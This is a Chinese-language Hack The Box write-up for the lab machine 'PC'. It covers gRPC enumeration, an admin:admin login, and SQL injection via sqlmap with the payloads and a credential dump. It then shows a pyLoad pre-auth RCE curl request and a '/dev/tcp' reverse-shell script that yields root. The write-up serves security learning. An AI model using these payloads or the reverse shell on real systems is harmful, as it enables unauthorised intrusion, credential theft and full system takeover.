[HTB] PC

First Post:

Last Update:

Word Count:
4.8k

Read Time:
26 min

101968271_p0

前言

懒得写了,干就完了。

信息收集

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
$ sudo nmap -p- --min-rate=10000 10.10.11.214
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-16 04:13 EDT
Nmap scan report for 10.10.11.214
Host is up (0.074s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
50051/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds

$ sudo nmap -sT -sV -sC -O -p22,50051 10.10.11.214
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-16 04:38 EDT
Nmap scan report for 10.10.11.214
Host is up (0.074s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.94%I=7%D=7/16%Time=64B3AC75%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized
Running (JUST GUESSING): Linux 5.X|4.X|2.6.X (95%), Crestron 2-Series (86%)
OS CPE: cpe:/o:linux:linux_kernel:5.0 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series
Aggressive OS guesses: Linux 5.0 (95%), Linux 4.15 - 5.8 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds

$ sudo nmap --script=vuln 10.10.11.214
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-16 05:10 EDT
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 10.10.11.214
Host is up (0.075s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh

Nmap done: 1 IP address (1 host up) scanned in 45.29 seconds

就发现开了22和50051端口,并且50051端口是啥也没扫出来。没有获得啥太好信息。

服务探测

不管50051端口是啥,我们先浏览器访问一下,结果返回一堆乱码,解码一下好像也是无意义字符。看不出来50051端口到底跑的啥服务。

看看chatgpt怎么说:

00d720293729c20c9f1706d7252516eb

为了防止chatgpt胡说,我们再google一下,发现确实50051是gRPC的默认端口,那么这台机子很有可能就跑的是gRPC服务。

那我们再google一下gRPC exploit,发现了一篇很详细的介绍了gRPC安全问题的文章。文章中介绍gRPC SQL注入那段很详细的描述了gRPC的利用过程。

93bc6a1684e6ddbc20649254be3678e2

虽然我们并不知道这台机子上的gRPC是否存在SQL注入漏洞,但是前面的连接gRPC的步骤是通用的,我们照葫芦画瓢收集下信息再说。当然当务之急是先把grpcurlgrpcui安装好,这个在github上下载对应版本的release即可,有go环境的可以直接用git安装。

gRPC信息收集

1
2
3
4
5
6
7
8
$ ./grpcurl -plaintext 10.10.11.214:50051 list
SimpleApp
grpc.reflection.v1alpha.ServerReflection

$ ./grpcurl -plaintext 10.10.11.214:50051 list SimpleApp
SimpleApp.LoginUser
SimpleApp.RegisterUser
SimpleApp.getInfo

简单的用grpcurl探测一下,发现50051端口上跑着的gRPC服务叫SimpleApp且有三个服务。那我们下一步就是用grpcui与它交互。

1
2
$ ./grpcui -plaintext 10.10.11.214:50051
gRPC Web UI available at http://127.0.0.1:37383/

然后我们访问本地网址就能看到页面。

7c33e952013b222dbfa570402a99c8d8

如果我们尝试注册账户,然后利用注册的账号登录,就会返回一个id以及token。

0249cbde57c6732c87b88db6b781e5f2

然后我们去用这个id和token去请求getInfo服务,就会返回:

1
2
3
{
"message": "Will update soon."
}

它给这id是啥意思,我们再创一个账号发现id是随机的,并不是规律递增,但如果我们请求id=1会返回一条不一样的信息:

1
2
3
{
"message": "The admin is working hard to fix the issues."
}

这难道暗示id=1的账户是admin吗?那我们尝试一下用admin登录一下,弱密码admin:admin一下就成功了。然而好像也没啥用,试了试好像用谁的token都可以任意访问id。

但换句话说好像也有用,这id的请求感觉没做任何限制很有可能存在脆弱性。加上我们之前看的那篇文章不就是利用gRPC上的SQL注入漏洞嘛,那我们就试试看究竟会不会有这个漏洞。

我们直接把请求保存成一个request.txt文件(用burpsuite或者火狐直接把请求复制出来都可以)准备用SQLmap看看是否存在漏洞,而且既然有admin权限的我们就用admin权限的,聊胜于无。

漏洞利用

SQLmap

sqlmap小测一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ sudo sqlmap -r request.txt
___
__H__
___ ___[,]_____ ___ ___ {1.7.6#stable}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:11:07 /2023-07-16/

[08:11:07] [INFO] parsing HTTP request from 'request.txt'
JSON data found in POST body. Do you want to process it? [Y/n/q]
Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N]
[08:11:09] [INFO] resuming back-end DBMS 'sqlite'
[08:11:09] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODk1MDgyMTZ9.xbeYrl62NpR9e9tz4dQaRm-0F6P51hC7QJZ-adEJ8kc"}],"data":[{"id":"164 AND 9042=9042"}]}

Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODk1MDgyMTZ9.xbeYrl62NpR9e9tz4dQaRm-0F6P51hC7QJZ-adEJ8kc"}],"data":[{"id":"164 AND 7649=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))"}]}

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODk1MDgyMTZ9.xbeYrl62NpR9e9tz4dQaRm-0F6P51hC7QJZ-adEJ8kc"}],"data":[{"id":"-8074 UNION ALL SELECT CHAR(113,120,112,118,113)||CHAR(118,74,83,118,77,111,65,111,103,88,73,118,108,116,111,82,73,66,104,82,83,67,77,89,81,73,100,122,118,122,71,75,72,70,76,81,107,117,69,69)||CHAR(113,112,112,106,113)-- ngxu"}]}
---
[08:11:09] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[08:11:09] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 08:11:09 /2023-07-16/

发现后端数据库用的是SQLite且确实存在SQL注入漏洞,在指定--tables以及--columns查看了下大致的表与列真是换,发现数据量不大之后,我们偷懒直接把数据库dump出来(真实情况下请勿dump!dump几十条数据下半辈子就要无忧了)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
$ sudo sqlmap -r request.txt --dump
___
__H__
___ ___[)]_____ ___ ___ {1.7.6#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 08:13:13 /2023-07-16/

[08:13:13] [INFO] parsing HTTP request from 'request.txt'
JSON data found in POST body. Do you want to process it? [Y/n/q]
Cookie parameter '_grpcui_csrf_token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N]
[08:13:15] [INFO] resuming back-end DBMS 'sqlite'
[08:13:15] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: JSON id ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODk1MDgyMTZ9.xbeYrl62NpR9e9tz4dQaRm-0F6P51hC7QJZ-adEJ8kc"}],"data":[{"id":"164 AND 9042=9042"}]}

Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODk1MDgyMTZ9.xbeYrl62NpR9e9tz4dQaRm-0F6P51hC7QJZ-adEJ8kc"}],"data":[{"id":"164 AND 7649=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))"}]}

Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODk1MDgyMTZ9.xbeYrl62NpR9e9tz4dQaRm-0F6P51hC7QJZ-adEJ8kc"}],"data":[{"id":"-8074 UNION ALL SELECT CHAR(113,120,112,118,113)||CHAR(118,74,83,118,77,111,65,111,103,88,73,118,108,116,111,82,73,66,104,82,83,67,77,89,81,73,100,122,118,122,71,75,72,70,76,81,107,117,69,69)||CHAR(113,112,112,106,113)-- ngxu"}]}
---
[08:13:15] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[08:13:15] [INFO] fetching tables for database: 'SQLite_masterdb'
[08:13:15] [INFO] fetching columns for table 'messages'
[08:13:15] [INFO] fetching entries for table 'messages'
Database: <current>
Table: messages
[1 entry]
+-----+-------------------+----------+
| id | message | username |
+-----+-------------------+----------+
| 164 | Will update soon. | admin |
+-----+-------------------+----------+

[08:13:15] [INFO] table 'SQLite_masterdb.messages' dumped to CSV file '/root/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/messages.csv'
[08:13:15] [INFO] fetching columns for table 'accounts'
[08:13:15] [INFO] fetching entries for table 'accounts'
Database: <current>
Table: accounts
[2 entries]
+------------------------+----------+
| password | username |
+------------------------+----------+
| admin | admin |
| ********************** | sau |
+------------------------+----------+

[08:13:15] [INFO] table 'SQLite_masterdb.accounts' dumped to CSV file '/root/.local/share/sqlmap/output/127.0.0.1/dump/SQLite_masterdb/accounts.csv'
[08:13:15] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/127.0.0.1'

[*] ending @ 08:13:15 /2023-07-16/

我们拿到了一个sau用户的登录凭证,那自然是要去ssh试试的。

获取立足点

1
2
3
4
$ ssh sau@10.10.11.214
sau@10.10.11.214's password:
Last login: Mon May 15 09:00:44 2023 from 10.10.14.19
sau@pc:~$

发现成功登录,在home目录下拿到了user flag。

提权

上来就发现里面文件乱糟糟的,啥都有,先给机器reset一下再说。

三连

reset完就很清爽。依然是熟悉的sudo -lfind SUID bins以及cat crontab三步走。也依然是熟悉的啥也没发现。

漏洞发现

不管三七二十一先把linpeas以及pspy传上去再说。在我们将其传到/tmp目录下,正准备linpeas看一眼的时候,我们发现tmp目录下有个pyLoad目录,不仅如此,它还是root所有的权限为755的目录,这不是邀请我们进去看看吗,却之不恭,看看再说。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
sau@pc:/tmp$ ll
total 3912
drwxrwxrwt 15 root root 4096 Jul 16 09:34 ./
drwxr-xr-x 21 root root 4096 Apr 27 15:23 ../
drwxrwxrwt 2 root root 4096 Jul 16 09:28 .ICE-unix/
drwxrwxrwt 2 root root 4096 Jul 16 09:28 .Test-unix/
drwxrwxrwt 2 root root 4096 Jul 16 09:28 .X11-unix/
drwxrwxrwt 2 root root 4096 Jul 16 09:28 .XIM-unix/
drwxrwxrwt 2 root root 4096 Jul 16 09:28 .font-unix/
-rwxrwxr-x 1 sau sau 836190 Jul 2 04:28 linpeas.sh*
-rwxrwxr-x 1 sau sau 3104768 Jan 17 21:09 pspy64*
drwxr-xr-x 4 root root 4096 Jul 16 09:28 pyLoad/
drwx------ 3 root root 4096 Jul 16 09:28 snap-private-tmp/
drwx------ 3 root root 4096 Jul 16 09:28 systemd-private-d85c45b90a014dc6a8a5f5baa1c3abd3-ModemManager.service-0r4IYg/
drwx------ 3 root root 4096 Jul 16 09:28 systemd-private-d85c45b90a014dc6a8a5f5baa1c3abd3-systemd-logind.service-pB1Ivg/
drwx------ 3 root root 4096 Jul 16 09:28 systemd-private-d85c45b90a014dc6a8a5f5baa1c3abd3-systemd-resolved.service-S9bgKi/
drwx------ 2 root root 4096 Jul 16 09:28 tmps7fk1b_z/
drwx------ 2 sau sau 4096 Jul 16 09:33 tmux-1001/
drwx------ 2 root root 4096 Jul 16 09:28 vmware-root_738-2999591909/
sau@pc:/tmp$ cd pyLoad/
sau@pc:/tmp/pyLoad$ ls -la
total 20
drwxr-xr-x 4 root root 4096 Jul 16 09:28 .
drwxrwxrwt 15 root root 4096 Jul 16 09:34 ..
drwxr-xr-x 2 root root 4096 Jul 16 09:28 flask
drwxr-xr-x 2 root root 4096 Jul 16 09:28 jinja
-rw-r--r-- 1 root root 4 Jul 16 09:28 pyload.pid
sau@pc:/tmp/pyLoad$ cat pyload.pid
1050
sau@pc:/tmp/pyLoad$ ps aux | grep 1050
root 1050 0.1 1.4 1215780 58300 ? Ssl 09:28 0:02 /usr/bin/python3 /usr/local/bin/pyload
sau 21801 0.0 0.0 8160 2544 pts/0 S+ 09:50 0:00 grep --color=auto 1050

发现里面有flask和jinja,明显是python模块,此外还专门放了个pyload.pid文件告诉我们pyload运行的pid是105。这pyload是几号人物,给这么多画面。

好奇宝宝直接进行一个谷歌的查pyload exploit是不是有猫腻。结果我们确实发现了其存在Pre-auth RCE in pyLoad的漏洞。且github上有详细的PoC

漏洞定位

那么现在是道理我都懂环节了,但是这个pyload究竟跑在哪里,跑在什么端口呢?

我们直接netstat -nat看一看。

1
2
3
4
5
6
7
8
9
10
11
12
sau@pc:/tmp$ netstat -nat
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN
tcp 0 41 10.10.11.214:22 10.10.14.81:54582 ESTABLISHED
tcp 0 41 10.10.11.214:22 10.10.14.81:54568 ESTABLISHED
tcp 0 208 10.10.11.214:22 10.10.14.96:53820 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 :::50051 :::* LISTEN

做个排除法,跑在本地显然不是22,那就是8000或者9666了。

我们先curl看看8000端口什么情况。

1
2
3
4
5
6
sau@pc:/tmp$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.

看来是跳转了,我们用ssh端口转发到本地,用浏览器打开看看。

1
2
3
4
$ ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214
sau@10.10.11.214's password:
Last login: Sun Jul 16 09:28:58 2023 from 10.10.14.96
sau@pc:~$

访问一下网站:

7bc48a63a95bd5768a72adbc404301e1

发现确实是pyload服务,那我们就完成了pyload服务的定位。

PoC验证

我们试试8000端口能否验证PoC。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sau@pc:/tmp$ curl -i -s -k -X $'POST' \
> --data-binary $'jk=pyimport%20os;os.system(\"touch%20/tmp/pwnd\");f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' \
> $'http://127.0.0.1:8000/flash/addcrypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 21
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Mon, 17 Jul 2023 03:32:56 GMT
Server: Cheroot/8.6.0

Could not decrypt keysau@pc:/tmp$ ll
total 56
drwxrwxrwt 14 root root 4096 Jul 17 03:32 ./
drwxr-xr-x 21 root root 4096 Apr 27 15:23 ../
drwxrwxrwt 2 root root 4096 Jul 16 22:36 .ICE-unix/
drwxrwxrwt 2 root root 4096 Jul 16 22:36 .Test-unix/
drwxrwxrwt 2 root root 4096 Jul 16 22:36 .X11-unix/
drwxrwxrwt 2 root root 4096 Jul 16 22:36 .XIM-unix/
drwxrwxrwt 2 root root 4096 Jul 16 22:36 .font-unix/
-rw-r--r-- 1 root root 0 Jul 17 03:32 pwnd
drwxr-xr-x 4 root root 4096 Jul 16 22:36 pyLoad/
drwx------ 3 root root 4096 Jul 16 22:36 snap-private-tmp/
drwx------ 3 root root 4096 Jul 16 22:36 systemd-private-8676c1abcb0544dcafbf10e3593865c9-ModemManager.service-Zc8bxj/
drwx------ 3 root root 4096 Jul 16 22:36 systemd-private-8676c1abcb0544dcafbf10e3593865c9-systemd-logind.service-BKbnLh/
drwx------ 3 root root 4096 Jul 16 22:36 systemd-private-8676c1abcb0544dcafbf10e3593865c9-systemd-resolved.service-jHIx6e/
drwx------ 2 root root 4096 Jul 16 22:36 tmphwhrrtgk/
drwx------ 2 root root 4096 Jul 16 22:37 vmware-root_733-4248680474/

一发入魂,虽然返回报了500,但是文件确实以root身份创建了。也就是说我们能以root身份进行任意命令执行。那就简单了,给bash赋s位,写入sudoer都行,但是考虑到是多人共用靶机,我们选用影响最小的方式

提权到root

影响最小的方式当然是反弹shell了,我直接创建一个名叫exp.sh的shell脚本反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
sau@pc:/tmp$ echo '/bin/bash -i >&  /dev/tcp/<IP>/<PORT> 0>&1' > exp.sh
sau@pc:/tmp$ curl -i -s -k -X $'POST' --data-binary $'jk=pyimport%20os;os.system(\"bash%20/tmp/exp.sh{};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:8000/flash/addcrypted2'rypted2'
HTTP/1.1 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 17467
Access-Control-Max-Age: 1800
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: OPTIONS, GET, POST
Vary: Accept-Encoding
Date: Sun, 16 Jul 2023 11:54:22 GMT
Server: Cheroot/8.6.0

<!DOCTYPE html>
......

本地nc监听成功拿到root shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nc -nlvp <PORT>
listening on [any] <PORT> ...
connect to [IP] from (UNKNOWN) [10.10.11.214] 38762
bash: cannot set terminal process group (1050): Inappropriate ioctl for device
bash: no job control in this shell
root@pc:~/.pyload/data# cd /root
cd /root
root@pc:~# ll
ll
total 68
drwx------ 7 root root 4096 Apr 27 15:32 ./
drwxr-xr-x 21 root root 4096 Apr 27 15:23 ../
lrwxrwxrwx 1 root root 9 Jan 11 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Apr 4 10:25 .cache/
drwxr-xr-x 3 root root 4096 Apr 4 10:25 .local/
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwxr-xr-x 7 root root 4096 Jan 11 2023 .pyload/
-rw------- 1 root root 3203 Apr 27 15:32 .viminfo
drwxr-xr-x 3 root root 4096 Apr 27 13:15 Downloads/
-rw-r----- 1 root root 33 Jul 16 09:28 root.txt
drwx------ 3 root root 4096 Jan 11 2023 snap/
-rw-r--r-- 1 root root 24576 Jan 11 2023 sqlite.db.bak

成功拿到root flag。